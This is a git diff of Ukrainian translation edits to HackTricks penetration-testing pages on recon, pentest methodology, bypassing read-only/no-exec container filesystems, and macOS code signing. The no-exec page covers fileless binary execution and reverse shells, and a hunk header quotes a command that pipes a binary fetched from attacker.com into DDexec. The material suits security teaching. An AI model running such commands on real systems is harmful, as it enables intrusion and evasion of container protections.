|
||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
Потім, з цими словами, ви повинні згенерувати **пермутації** (перегляньте [**Другий раунд DNS Brute-Force**](./#second-dns-bruteforce-round) для отримання додаткової інформації).
|
||||
Потім, з цими словами, ви повинні згенерувати **пермутації** (перевірте [**Другий раунд DNS Brute-Force**](./#second-dns-bruteforce-round) для отримання додаткової інформації).
|
||||
|
||||
З отриманими словниками ви можете використовувати такі інструменти, як [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **або** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
З отриманими списками слів ви можете використовувати такі інструменти, як [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **або** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
|
||||
Пам'ятайте, що, шукаючи хмарні активи, вам слід **шукати більше, ніж просто бакети в AWS**.
|
||||
|
||||
|
@ -544,7 +544,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
|||
|
||||
## Електронні листи
|
||||
|
||||
З **доменами** та **піддоменами** в межах сфери у вас, по суті, є все, що вам **потрібно для початку пошуку електронних листів**. Ось **API** та **інструменти**, які найкраще працювали для мене для знаходження електронних листів компанії:
|
||||
З **доменами** та **піддоменами** в межах сфери у вас, по суті, є все, що вам **потрібно, щоб почати шукати електронні листи**. Ось **API** та **інструменти**, які найкраще працювали для мене, щоб знайти електронні листи компанії:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - з API
|
||||
* API [**https://hunter.io/**](https://hunter.io/) (безкоштовна версія)
|
||||
|
@ -600,7 +600,7 @@ _Зверніть увагу, що інструменти, які очікуют
|
|||
|
||||
Якщо ви знайдете **дійсні витіклі** облікові дані або токени API, це дуже легка перемога.
|
||||
|
||||
## Публічні вразливості коду
|
||||
## Вразливості публічного коду
|
||||
|
||||
Якщо ви виявили, що компанія має **відкритий код**, ви можете **проаналізувати** його та шукати **вразливості** в ньому.
|
||||
|
||||
|
@ -629,7 +629,7 @@ _Зверніть увагу, що інструменти, які очікуют
|
|||
1. Знайшли всі **компанії** в межах сфери
|
||||
2. Знайшли всі **активи**, що належать компаніям (і виконали деяке сканування вразливостей, якщо це в межах сфери)
|
||||
3. Знайшли всі **домени**, що належать компаніям
|
||||
4. Знайшли всі **піддомени** доменів (чи є якісь піддоменні захоплення?)
|
||||
4. Знайшли всі **піддомени** доменів (чи є якісь захоплення піддоменів?)
|
||||
5. Знайшли всі **IP-адреси** (з і **не з CDN**) в межах сфери.
|
||||
6. Знайшли всі **веб-сервери** та зробили **скриншот** з них (чи є щось незвичайне, що варто більш детального розгляду?)
|
||||
7. Знайшли всі **потенційні публічні хмарні активи**, що належать компанії.
|
||||
|
@ -638,7 +638,7 @@ _Зверніть увагу, що інструменти, які очікуют
|
|||
|
||||
## **Повні автоматизовані інструменти розвідки**
|
||||
|
||||
Існує кілька інструментів, які виконуватимуть частину запропонованих дій проти заданої сфери.
|
||||
Існує кілька інструментів, які виконують частину запропонованих дій проти заданої сфери.
|
||||
|
||||
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||
* [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
|
||||
|
@ -649,7 +649,7 @@ _Зверніть увагу, що інструменти, які очікуют
|
|||
|
||||
* Всі безкоштовні курси [**@Jhaddix**](https://twitter.com/Jhaddix), такі як [**Методологія мисливця за помилками v4.0 - Розділ розвідки**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зломі незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
|
@ -665,7 +665,7 @@ _Зверніть увагу, що інструменти, які очікуют
|
|||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,9 +15,9 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламуванні незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламі непроникного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -46,7 +46,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
|
||||
### 3- [Сканування портів - Виявлення сервісів](pentesting-network/#scanning-hosts)
|
||||
|
||||
Перше, що потрібно зробити, коли **шукаєте вразливості в хості**, це дізнатися, які **сервіси працюють** на яких портах. Давайте розглянемо [**базові інструменти для сканування портів хостів**](pentesting-network/#scanning-hosts).
|
||||
Перше, що потрібно зробити, коли **шукаєте вразливості в хості**, це дізнатися, які **сервіси працюють** на яких портах. Давайте подивимося на [**базові інструменти для сканування портів хостів**](pentesting-network/#scanning-hosts).
|
||||
|
||||
### **4-** [**Пошук експлойтів версій сервісів**](search-exploits.md)
|
||||
|
||||
|
@ -58,14 +58,14 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
|
||||
**У цій книзі ви знайдете посібник для пентестингу найбільш поширених сервісів** (та інших, які не є такими поширеними)**. Будь ласка, шукайте в лівому індексі розділ** _**ПЕНТЕСТИНГ**_ **(сервіси впорядковані за їх стандартними портами).**
|
||||
|
||||
**Я хочу зробити особливе згадування про** [**Пентестинг Веб**](../network-services-pentesting/pentesting-web/) **частину (оскільки вона є найбільш обширною).**\
|
||||
**Я хочу зробити особливе зауваження про** [**Пентестинг Веб**](../network-services-pentesting/pentesting-web/) **частину (оскільки вона є найбільш обширною).**\
|
||||
Також тут можна знайти невеликий посібник про те, як [**знайти відомі вразливості в програмному забезпеченні**](search-exploits.md).
|
||||
|
||||
**Якщо вашого сервісу немає в індексі, шукайте в Google** інші посібники та **дозвольте мені знати, якщо ви хочете, щоб я його додав.** Якщо ви **не можете нічого знайти** в Google, проведіть свій **власний сліпий пентестинг**, ви можете почати з **підключення до сервісу, фуззингу його та читання відповідей** (якщо такі є).
|
||||
|
||||
#### 5.1 Автоматичні інструменти
|
||||
|
||||
Існує також кілька інструментів, які можуть виконувати **автоматичні оцінки вразливостей**. **Я б рекомендував вам спробувати** [**Legion**](https://github.com/carlospolop/legion)**, який є інструментом, який я створив, і він заснований на нотатках про пентестинг сервісів, які ви можете знайти в цій книзі.**
|
||||
Існує також кілька інструментів, які можуть виконувати **автоматичні оцінки вразливостей**. **Я рекомендую вам спробувати** [**Legion**](https://github.com/carlospolop/legion)**, який є інструментом, який я створив, і він заснований на нотатках про пентестинг сервісів, які ви можете знайти в цій книзі.**
|
||||
|
||||
#### **5.2 Брутфорсинг сервісів**
|
||||
|
||||
|
@ -91,7 +91,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
|
||||
### **9 -** [**Екстракція**](exfiltration.md)
|
||||
|
||||
Вам, напевно, потрібно буде **екстрактувати деякі дані з жертви** або навіть **ввести щось** (наприклад, скрипти підвищення привілеїв). **Ось тут ви маєте** [**пост про загальні інструменти, які ви можете використовувати з цими цілями**](exfiltration.md)**.**
|
||||
Вам, напевно, потрібно буде **екстрактувати деякі дані з жертви** або навіть **ввести щось** (наприклад, скрипти підвищення привілеїв). **Ось у вас є** [**пост про загальні інструменти, які ви можете використовувати з цими цілями**](exfiltration.md)**.**
|
||||
|
||||
### **10- Підвищення привілеїв**
|
||||
|
||||
|
@ -104,17 +104,17 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
|||
* [**Аутентифікація, облікові дані, привілеї токенів та UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* Як працює [**NTLM**](../windows-hardening/ntlm/)
|
||||
* Як [**вкрасти облікові дані**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) в Windows
|
||||
* Деякі трюки про [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||
* Декілька трюків про [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
**Не забудьте перевірити найкращі інструменти для перерахунку шляхів локального підвищення привілеїв Windows та Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- Підвищення привілеїв домену**
|
||||
|
||||
Тут ви можете знайти [**методологію, що пояснює найбільш поширені дії для перерахунку, підвищення привілеїв та збереження в Active Directory**](../windows-hardening/active-directory-methodology/). Навіть якщо це лише підрозділ розділу, цей процес може бути **надзвичайно делікатним** під час пентестингу/Red Team завдання.
|
||||
Тут ви можете знайти [**методологію, що пояснює найбільш поширені дії для перерахунку, підвищення привілеїв та збереження в Active Directory**](../windows-hardening/active-directory-methodology/). Навіть якщо це лише підрозділ розділу, цей процес може бути **надзвичайно делікатним** під час завдання Пентестингу/Red Team.
|
||||
|
||||
### 11 - POST
|
||||
|
||||
#### **11**.1 - Лутання
|
||||
#### **11**.1 - Грабіж
|
||||
|
||||
Перевірте, чи можете ви знайти більше **паролів** всередині хоста або чи маєте ви **доступ до інших машин** з **привілеями** вашого **користувача**.\
|
||||
Знайдіть тут різні способи [**вивантаження паролів у Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
||||
|
@ -128,10 +128,10 @@ TODO: Завершити постійність у Windows та Linux
|
|||
|
||||
### 12 - Півотування
|
||||
|
||||
З **зібраними обліковими даними** ви можете отримати доступ до інших машин, або, можливо, вам потрібно **виявити та сканувати нові хости** (почати методологію пентестингу знову) всередині нових мереж, до яких підключена ваша жертва.\
|
||||
У цьому випадку тунелювання може бути необхідним. Тут ви можете знайти [**пост про тунелювання**](tunneling-and-port-forwarding.md).\
|
||||
З отриманими **обліковими даними** ви можете отримати доступ до інших машин, або, можливо, вам потрібно **виявити та сканувати нові хости** (почати методологію пентестингу знову) всередині нових мереж, до яких підключена ваша жертва.\
|
||||
У цьому випадку тунелювання може бути необхідним. Тут ви можете знайти [**пост, що говорить про тунелювання**](tunneling-and-port-forwarding.md).\
|
||||
Вам також слід перевірити пост про [методологію пентестингу Active Directory](../windows-hardening/active-directory-methodology/). Там ви знайдете класні трюки для бічного переміщення, підвищення привілеїв та вивантаження облікових даних.\
|
||||
Також перевірте сторінку про [**NTLM**](../windows-hardening/ntlm/), це може бути дуже корисно для півотування в Windows середовищах.
|
||||
Також перевірте сторінку про [**NTLM**](../windows-hardening/ntlm/), це може бути дуже корисно для півотування в середовищах Windows.
|
||||
|
||||
### БІЛЬШЕ
|
||||
|
||||
|
@ -151,9 +151,9 @@ TODO: Завершити постійність у Windows та Linux
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламуванні незламного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо ви зацікавлені в **кар'єрі в хакерстві** та зламі непроникного - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -30,7 +30,7 @@ In the following videos you can find the techniques mentioned in this page expla
|
|||
|
||||
## read-only / no-exec scenario
|
||||
|
||||
It's more and more common to find linux machines mounted with **read-only (ro) file system protection**, specially in containers. This is because to run a container with ro file system is as easy as setting **`readOnlyRootFilesystem: true`** in the `securitycontext`:
|
||||
Все частіше можна зустріти linux-машини, змонтовані з **захистом файлової системи тільки для читання (ro)**, особливо в контейнерах. Це пов'язано з тим, що запустити контейнер з файловою системою ro так само просто, як встановити **`readOnlyRootFilesystem: true`** в `securitycontext`:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -45,42 +45,42 @@ securityContext:
|
|||
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
</code></pre>
|
||||
|
||||
However, even if the file system is mounted as ro, **`/dev/shm`** will still be writable, so it's fake we cannot write anything in the disk. However, this folder will be **mounted with no-exec protection**, so if you download a binary here you **won't be able to execute it**.
|
||||
Однак, навіть якщо файлова система змонтована як ro, **`/dev/shm`** все ще буде доступна для запису, тому це неправда, що ми не можемо нічого записати на диск. Проте, ця папка буде **змонтована з захистом no-exec**, тому якщо ви завантажите бінарний файл сюди, ви **не зможете його виконати**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
From a red team perspective, this makes **complicated to download and execute** binaries that aren't in the system already (like backdoors o enumerators like `kubectl`).
|
||||
З точки зору червоної команди, це ускладнює **завантаження та виконання** бінарних файлів, які вже не знаходяться в системі (як бекдори або енумератори, такі як `kubectl`).
|
||||
{% endhint %}
|
||||
|
||||
## Easiest bypass: Scripts
|
||||
|
||||
Note that I mentioned binaries, you can **execute any script** as long as the interpreter is inside the machine, like a **shell script** if `sh` is present or a **python** **script** if `python` is installed.
|
||||
Зверніть увагу, що я згадував бінарні файли, ви можете **виконувати будь-який скрипт**, якщо інтерпретатор знаходиться всередині машини, наприклад, **shell-скрипт**, якщо `sh` присутній, або **python** **скрипт**, якщо встановлений `python`.
|
||||
|
||||
However, this isn't just enough to execute your binary backdoor or other binary tools you might need to run.
|
||||
Однак цього недостатньо, щоб виконати ваш бінарний бекдор або інші бінарні інструменти, які вам можуть знадобитися.
|
||||
|
||||
## Memory Bypasses
|
||||
|
||||
If you want to execute a binary but the file system isn't allowing that, the best way to do so is by **executing it from memory**, as the **protections doesn't apply in there**.
|
||||
Якщо ви хочете виконати бінарний файл, але файлова система цього не дозволяє, найкращий спосіб зробити це - **виконати його з пам'яті**, оскільки **захисти не застосовуються там**.
|
||||
|
||||
### FD + exec syscall bypass
|
||||
|
||||
If you have some powerful script engines inside the machine, such as **Python**, **Perl**, or **Ruby** you could download the binary to execute from memory, store it in a memory file descriptor (`create_memfd` syscall), which isn't going to be protected by those protections and then call a **`exec` syscall** indicating the **fd as the file to execute**.
|
||||
Якщо у вас є потужні скриптові движки всередині машини, такі як **Python**, **Perl** або **Ruby**, ви можете завантажити бінарний файл для виконання з пам'яті, зберегти його в файловому дескрипторі пам'яті (`create_memfd` syscall), який не буде захищений цими захистами, а потім викликати **`exec` syscall**, вказуючи **fd як файл для виконання**.
|
||||
|
||||
For this you can easily use the project [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). You can pass it a binary and it will generate a script in the indicated language with the **binary compressed and b64 encoded** with the instructions to **decode and decompress it** in a **fd** created calling `create_memfd` syscall and a call to the **exec** syscall to run it.
|
||||
Для цього ви можете легко використовувати проект [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Ви можете передати йому бінарний файл, і він згенерує скрипт у вказаній мові з **бінарним файлом, стиснутим і закодованим в b64** з інструкціями для **декодування та розпакування** його в **fd**, створеному за допомогою виклику `create_memfd` syscall, і викликом **exec** syscall для його виконання.
|
||||
|
||||
{% hint style="warning" %}
|
||||
This doesn't work in other scripting languages like PHP or Node because they don't have any d**efault way to call raw syscalls** from a script, so it's not possible to call `create_memfd` to create the **memory fd** to store the binary.
|
||||
Це не працює в інших скриптових мовах, таких як PHP або Node, оскільки у них немає жодного **за замовчуванням способу викликати сирі системні виклики** з скрипту, тому неможливо викликати `create_memfd`, щоб створити **memory fd** для зберігання бінарного файлу.
|
||||
|
||||
Moreover, creating a **regular fd** with a file in `/dev/shm` won't work, as you won't be allowed to run it because the **no-exec protection** will apply.
|
||||
Більше того, створення **звичайного fd** з файлом у `/dev/shm` не спрацює, оскільки вам не дозволять його виконати через те, що **захист no-exec** буде застосований.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) is a technique that allows you to **modify the memory your own process** by overwriting its **`/proc/self/mem`**.
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) - це техніка, яка дозволяє вам **модифікувати пам'ять вашого власного процесу** шляхом перезапису його **`/proc/self/mem`**.
|
||||
|
||||
Therefore, **controlling the assembly code** that is being executed by the process, you can write a **shellcode** and "mutate" the process to **execute any arbitrary code**.
|
||||
Отже, **контролюючи асемблерний код**, який виконується процесом, ви можете написати **shellcode** і "мутувати" процес, щоб **виконати будь-який довільний код**.
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec** will allow you to load and **execute** your own **shellcode** or **any binary** from **memory**.
|
||||
**DDexec / EverythingExec** дозволить вам завантажити та **виконати** ваш власний **shellcode** або **будь-який бінарний файл** з **пам'яті**.
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Basic example
|
||||
|
@ -94,7 +94,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec) є природним наступним кроком DDexec. Це **DDexec shellcode demonised**, тому що щоразу, коли ви хочете **запустити інший бінарний файл**, вам не потрібно перезапускати DDexec, ви можете просто запустити shellcode memexec через техніку DDexec, а потім **спілкуватися з цим демоном, щоб передати нові бінарні файли для завантаження та виконання**.
|
||||
[**Memexec**](https://github.com/arget13/memexec) є природним наступним кроком DDexec. Це **DDexec shellcode demonised**, тому що щоразу, коли ви хочете **запустити інший бінарний файл**, вам не потрібно перезапускати DDexec, ви можете просто запустити shellcode memexec за допомогою техніки DDexec, а потім **спілкуватися з цим демоном, щоб передати нові бінарні файли для завантаження та виконання**.
|
||||
|
||||
Ви можете знайти приклад того, як використовувати **memexec для виконання бінарних файлів з PHP реверс-шелу** за адресою [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
|
||||
|
||||
|
@ -118,7 +118,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
Отже, ви **не зможете** отримати **реверс-шел** або **перерахувати** систему, як зазвичай.
|
||||
{% endhint %}
|
||||
|
||||
Однак, якщо скомпрометований контейнер, наприклад, запускає flask web, тоді python встановлений, і тому ви можете отримати **Python реверс-шел**. Якщо він запускає node, ви можете отримати Node rev shell, і те ж саме з більшістю будь-якої **скриптової мови**.
|
||||
Однак, якщо скомпрометований контейнер, наприклад, запускає flask web, тоді python встановлений, і тому ви можете отримати **Python реверс-шел**. Якщо він запускає node, ви можете отримати Node rev shell, і те ж саме з більшістю будь-яких **скриптових мов**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Використовуючи скриптову мову, ви могли б **перерахувати систему**, використовуючи можливості мови.
|
||||
|
@ -130,11 +130,11 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
Однак у таких контейнерах ці захисти зазвичай існують, але ви могли б використовувати **попередні техніки виконання в пам'яті, щоб обійти їх**.
|
||||
{% endhint %}
|
||||
|
||||
Ви можете знайти **приклади** того, як **використовувати деякі вразливості RCE**, щоб отримати реверс-шели скриптових мов та виконувати бінарні файли з пам'яті за адресою [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
Ви можете знайти **приклади** того, як **використовувати деякі вразливості RCE** для отримання реверс-шелів скриптових мов та виконання бінарних файлів з пам'яті за адресою [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Якщо вас цікавить **кар'єра в хакінгу** та зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
Якщо вас цікавить **кар'єра в хакінгу** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -144,11 +144,11 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
<summary>Підтримка HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
|
||||
## Basic Information
|
||||
|
||||
Mach-o бінарники містять команду завантаження під назвою **`LC_CODE_SIGNATURE`**, яка вказує на **зсув** та **розмір** підписів всередині бінарника. Насправді, використовуючи графічний інструмент MachOView, можна знайти в кінці бінарника секцію під назвою **Code Signature** з цією інформацією:
|
||||
Mach-o бінарні файли містять команду завантаження, звану **`LC_CODE_SIGNATURE`**, яка вказує на **зсув** та **розмір** підписів всередині бінарного файлу. Насправді, використовуючи графічний інструмент MachOView, можна знайти в кінці бінарного файлу секцію, звану **Code Signature**, з цією інформацією:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
|
||||
Магічний заголовок підпису коду - **`0xFADE0CC0`**. Потім ви отримуєте інформацію, таку як довжина та кількість блобів суперBlob, які їх містять.\
|
||||
Цю інформацію можна знайти в [джерельному коді тут](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276):
|
||||
|
@ -51,8 +51,8 @@ char data[];
|
|||
} CS_GenericBlob
|
||||
__attribute__ ((aligned(1)));
|
||||
```
|
||||
Звичайні об'єкти, що містяться, - це Директорія коду, Вимоги та Права, а також Криптографічний синтаксис повідомлень (CMS).\
|
||||
Крім того, зверніть увагу, як дані, закодовані в об'єктах, закодовані в **Big Endian.**
|
||||
Звичайні об'єкти, що містяться, це Директорія коду, Вимоги та Права, а також Криптографічний синтаксис повідомлень (CMS).\
|
||||
Більше того, зверніть увагу, як дані, закодовані в об'єктах, закодовані в **Big Endian.**
|
||||
|
||||
Крім того, підписи можуть бути відокремлені від бінарних файлів і зберігатися в `/var/db/DetachedSignatures` (використовується iOS).
|
||||
|
||||
|
@ -163,7 +163,7 @@ openssl sha256 /tmp/*.page.*
|
|||
|
||||
MacOS програми не мають всього необхідного для виконання всередині бінарного файлу, але також використовують **зовнішні ресурси** (зазвичай всередині **bundle** програми). Тому в бінарному файлі є кілька слотів, які міститимуть хеші деяких цікавих зовнішніх ресурсів, щоб перевірити, чи не були вони змінені.
|
||||
|
||||
Насправді, в структурах Code Directory можна побачити параметр під назвою **`nSpecialSlots`**, що вказує на кількість спеціальних слотів. Спеціального слота 0 немає, а найпоширеніші (з -1 до -6) це:
|
||||
Насправді, в структурах Code Directory можна побачити параметр під назвою **`nSpecialSlots`**, який вказує на кількість спеціальних слотів. Спеціального слота 0 немає, а найпоширеніші (з -1 до -6) це:
|
||||
|
||||
* Хеш `info.plist` (або той, що всередині `__TEXT.__info__plist`).
|
||||
* Хеш вимог
|
||||
|
@ -220,13 +220,13 @@ CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED)
|
|||
|
||||
#define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED)
|
||||
```
|
||||
Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) can also add the `CS_EXEC_*` flags dynamically when starting the execution.
|
||||
Зверніть увагу, що функція [**exec\_mach\_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern\_exec.c#L1420) також може динамічно додавати прапори `CS_EXEC_*` під час запуску виконання.
|
||||
|
||||
## Вимоги до підпису коду
|
||||
|
||||
Кожен додаток зберігає деякі **вимоги**, які він повинен **виконати**, щоб мати можливість виконуватися. Якщо **додаток містить вимоги, які не виконуються додатком**, він не буде виконаний (оскільки, ймовірно, був змінений).
|
||||
|
||||
Вимоги бінарного файлу використовують **спеціальну граматику**, яка є потоком **виразів** і кодуються як блоби, використовуючи `0xfade0c00` як магічне число, чий **хеш зберігається в спеціальному кодовому слоті**.
|
||||
Вимоги бінарного файлу використовують **спеціальну граматику**, яка є потоком **виразів** і кодуються як блоби, використовуючи `0xfade0c00` як магічне число, чий **хеш зберігається в спеціальному слоті коду**.
|
||||
|
||||
Вимоги бінарного файлу можна побачити, запустивши:
|
||||
|
||||
|
@ -272,14 +272,14 @@ od -A x -t x1 /tmp/output.csreq
|
|||
|
||||
#### **Створення та управління вимогами коду**
|
||||
|
||||
* **`SecRequirementCreateWithData`:** Створює `SecRequirementRef` з бінарних даних, що представляють вимогу.
|
||||
* **`SecRequirementCreateWithString`:** Створює `SecRequirementRef` з рядкової виразу вимоги.
|
||||
* **`SecRequirementCopy[Data/String]`**: Отримує бінарне представлення даних `SecRequirementRef`.
|
||||
* **`SecRequirementCreateWithData`:** Створює `SecRequirementRef` з двійкових даних, що представляють вимогу.
|
||||
